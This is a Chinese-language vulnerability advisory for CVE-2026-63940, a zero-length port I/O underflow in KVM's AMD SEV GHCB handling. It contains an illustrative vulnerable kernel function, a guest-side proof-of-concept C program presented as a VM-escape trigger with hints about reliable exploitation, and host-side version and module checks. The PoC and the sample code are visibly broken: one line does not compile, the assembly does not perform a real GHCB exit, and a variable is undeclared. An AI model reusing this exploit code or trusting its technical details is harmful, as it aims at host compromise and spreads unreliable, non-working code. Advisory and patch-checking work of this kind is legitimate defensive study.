技术细节
CVE-2026-63940存在于Linux内核的arch/x86/kvm/svm/sev.c文件中,该文件负责KVM对AMD安全加密虚拟化(Secure Encrypted Virtualization, SEV)的大量核心支持代码。漏洞的根本原因是KVM在处理来自SEV/SEV-ES/SEV-SNP客户机通过Guest-Hypervisor通信块(GHCB)发送的端口I/O(Port I/O)请求时,未验证请求的数据长度(length)或元素计数(count)是否为零。
当客户机发送一个长度为零的Port I/O请求时,KVM需要设置一个临时的"软件暂存区"(software scratch area)来处理数据。相关代码在计算缓冲区大小时使用了形如start + len - 1的算术表达式。当len为0时,由于无符号整数运算的特性,0 - 1将下溢为一个极大值(对于size_t类型,结果为0xFFFFFFFFFFFFFFFF),导致缓冲区计算完全错误,暂存区设置被破坏,进而可能导致宿主机内核内存损坏。
该漏洞的影响尤为严重,因为它位于虚拟化的安全边界上。AMD SEV系列技术旨在加密客户机内存以防范被篡改或恶意的hypervisor,但客户机与hypervisor之间仍需通过GHCB协议进行通信。Port I/O作为x86系统遗留但仍在广泛使用的I/O机制,在固件、引导流程和模拟设备场景中不可或缺。这意味着即便是采用机密计算保护的工作负载,也无法完全消除与hypervisor的交互面。
c
/* Linux内核 arch/x86/kvm/svm/sev.c - 漏洞核心代码示意 */
/* 漏洞函数:处理GHCB Port I/O请求 */
static int sev_handle_port_io(struct vcpu_svm *svm,
struct ghcb *ghcb)
{
u64 data = ghcb->save.rax;
u16 port = ghcb->save.rax >> 16;
u32 len = ghcb->save.rcx; /* 请求的数据长度 */
u32 count = ghcb->save.rbx; /* 元素计数 */
/* 漏洞所在:未检查 len == 0 或 count == 0 */
/* 直接进入 scratch area 分配逻辑 */
/* 计算缓冲区结束地址 - 当 len=0 时整数下溢 */
unsigned long buf_end = start + len - 1;
/* len=0: 0 - 1 = 0xFFFFFFFFFFFFFFFF (size_t下溢) */
/* 基于错误的 buf_end 设置暂存区 */
setup_scratch_area(svm, start, buf_end);
/* 导致宿主机内核内存损坏 */
return 0;
}
补丁修复方案为:在Port I/O请求进入暂存区计算逻辑之前,显式忽略长度或计数为零的请求,并添加内核警告(WARN)以捕获此类异常的内部调用。这一修复看似微小,但在内核级虚拟化代码中,尽早消除无效状态比试图让每个下游辅助函数都对不应出现的值保持健壮要安全得多。
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试。该漏洞涉及虚拟机逃逸,在未经授权的生产环境中使用属于严重违法行为。
c
/* CVE-2026-63940 PoC - 零长度 Port I/O 请求触发器 */
/* 运行环境:AMD SEV 启用的 KVM 客户机内部 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/io.h>
/* GHCB 通信块结构 (简化) */
struct ghcb_port_io {
uint64_t rax; /* 端口号 + 数据 */
uint64_t rbx; /* 元素计数 */
uint64_t rcx; /* 数据长度 */
uint64_t exit_code; /* GHCB 退出码 */
};
int main(int argc, char **argv)
{
struct ghcb_port_io req;
printf("[*] CVE-2026-63940 PoC - KVM SEV Zero-Length I/O\n");
/* 构造零长度 Port I/O 请求 */
req.rax = (0x3F8 & << 16) | 0x00; /* 端口 0x3F8 (COM1) */
req.rbx = 0; /* count = 0 (触发下溢) */
req.rcx = 0; /* len = 0 (触发下溢) */
req.exit_code = 0x7B; /* GHCB Port I/O exit */
printf("[*] Sending zero-length Port I/O via GHCB...\n");
printf("[*] port=0x%x, len=%u, count=%u\n",
0x3F8, req.rcx, req.rbx);
/* 通过VMGEXIT触发GHCB处理 */
asm volatile(
"mov %0, %%rax\n\t"
"rep; outsb\n\t" /* 触发GHCB退出 */
:
: "r"(&req)
: "rax", "memory"
);
printf("[+] VMGEXIT完成 - 检查宿主机状态\n");
printf("[!] 若宿主机内核未崩溃,可能需要多次触发或调整\n");
printf("[!] 内存布局以实现可靠利用\n");
return 0;
}
bash
# 在宿主机上检测是否受 CVE-2026-63940 影响
# 1. 检查内核版本是否在受影响范围内
uname -r
6.12.50-amd64
# 2. 检查是否加载了 kvm_amd 模块
lsmod | grep kvm_amd
kvm_amd 131072 0
# 3. 检查是否启用了 SEV
cat /sys/module/kvm_amd/parameters/sev
Y
# 4. 检查内核是否包含修复补丁
dmesg | grep "scratching area"
# 若未看到修复相关日志,说明可能未修补
# 5. 检查当前运行的内核版本对比修复版本
# 修复版本: 6.12.95 / 6.18.35 / 7.0.12 / 7.1+
apt list --installed 2>/dev/null | grep linux-image
linux-image-6.12.50-amd64/now 6.12.50-1
# 6.12.50 < 6.12.95 -> 需要升级!
影响范围
Linux Kernel 5.11 ~ 6.12.94— 所有启用了kvm_amd模块和SEV的KVM宿主机
Linux Kernel 6.13 ~ 6.18.34— 同上条件,受影响
Linux Kernel 6.19 ~ 7.0.11— 同上条件,受影响
云计算和机密计算环境— 部署了SEV-ES/SEV-SNP机密虚拟机的AWS、Azure、GCP等平台上的KVM宿主机
Windows虚拟机(间接影响)— 运行在受影响Linux KVM宿主机上的Windows虚拟机,宿主机沦陷后所有VM均受影响
不受影响— 使用Intel处理器的KVM宿主机、使用Hyper-V的Windows宿主机、WSL环境、未启用SEV的KVM宿主机